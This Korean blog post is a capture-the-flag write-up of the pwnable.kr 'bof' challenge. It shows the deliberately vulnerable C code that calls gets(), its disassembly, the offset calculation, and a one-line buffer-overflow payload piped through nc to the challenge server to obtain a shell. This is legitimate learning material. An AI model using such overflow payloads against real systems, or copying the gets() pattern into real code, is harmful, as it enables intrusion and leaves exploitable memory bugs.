관리 메뉴

Dork's port

Pwnable.kr bof풀이 본문

Pwnable.kr

Pwnable.kr bof풀이

Dork94 2018. 8. 21. 16:24

bof풀이를 해보도록 하겠습니다.


우선 C를 보도록 할까요?


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}


key의 값을 cafebabe로 바꾸어주면 되는 간단한 문제입니다. overme의 버퍼를 이용하여 key의 주소까지 덮어쓰면 자동으로 쉘을 띄워주는 간단한 문제이네요.


그럼 어셈코드를 보도록할까요? 


아래는 IDA에서 확인한 ASM 입니다.


.text:0000062C s               = byte ptr -2Ch
.text:0000062C var_C           = dword ptr -0Ch
.text:0000062C arg_0           = dword ptr  8

.text:0000062C                 push    ebp
.text:0000062D                 mov     ebp, esp
.text:0000062F                 sub     esp, 48h
.text:00000632                 mov     eax, large gs:14h
.text:00000638                 mov     [ebp+var_C], eax
.text:0000063B                 xor     eax, eax
.text:0000063D                 mov     dword ptr [esp], offset s ; "overflow me : "
.text:00000644                 call    puts
.text:00000649                 lea     eax, [ebp+s]
.text:0000064C                 mov     [esp], eax      ; s
.text:0000064F                 call    gets
.text:00000654                 cmp     [ebp+arg_0], 0CAFEBABEh
.text:0000065B                 jnz     short loc_66B
.text:0000065D                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:00000664                 call    system
.text:00000669                 jmp     short loc_677


IDA에 익숙하지 않아 공부 목적으로 IDA를 이용하였는데 첫번째 난관은 .text:0000063D .text:00000649  부분에 사용되는 s가 같다는 점이 이해가 되지않아 고생을 많이 했습니다.


그래서 결국 Kali로 gdb를 이용해 풀었는데, 후에 알게 된점이 IDA에서는 아래와 같이 s의 색깔로 다른 변수를 표시하는 것이라고 추측하였습니다.





위의 어셈블리에서 key에 해당하는 arg_0의 주소가 8이고 overme에 해당하는 배열의 주소가 -0x2c이므로 차이만큼 채운 후 후에 cafebabe를 입력해주면 되겠군요.


따라서 아래와 같이 페이로드를 작성할 수 있습니다.


(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"' ; cat) | nc pwnable.kr 9000



그런 후 프롬포트가 나타나는데 flag를 cat하면 문제는 완료됩니다!

'Pwnable.kr' 카테고리의 다른 글

pwnable.kr flag 풀이  (0) 2018.08.24
Pwnable.kr bof풀이  (0) 2018.08.21
Pwnable.kr col 풀이  (0) 2018.05.29
Pwnable.kr fd 풀이  (0) 2018.05.29
0 Comments
댓글쓰기 폼